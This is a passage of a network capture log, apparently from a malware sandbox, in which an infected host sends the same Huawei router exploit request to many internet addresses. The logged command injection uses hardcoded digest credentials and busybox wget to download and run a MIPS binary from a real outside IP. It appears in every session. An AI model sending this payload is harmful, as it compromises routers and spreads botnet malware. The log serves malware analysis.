6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.13	37776	156.52.32.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.387057066 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.13	39320	41.73.238.92	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.390079975 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.13	57162	197.251.34.46	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.392121077 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.13	47836	197.17.18.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.394381046 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.13	54002	197.71.231.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.396250010 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.13	41666	197.169.39.126	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.398030043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.13	43386	197.40.159.242	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.399524927 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.13	33572	197.234.41.204	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.401449919 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.13	59936	197.38.189.140	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.403423071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.13	41780	156.227.173.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.405121088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.13	37098	41.179.199.72	37215

Timestamp	Bytes transferred	Direction	Data
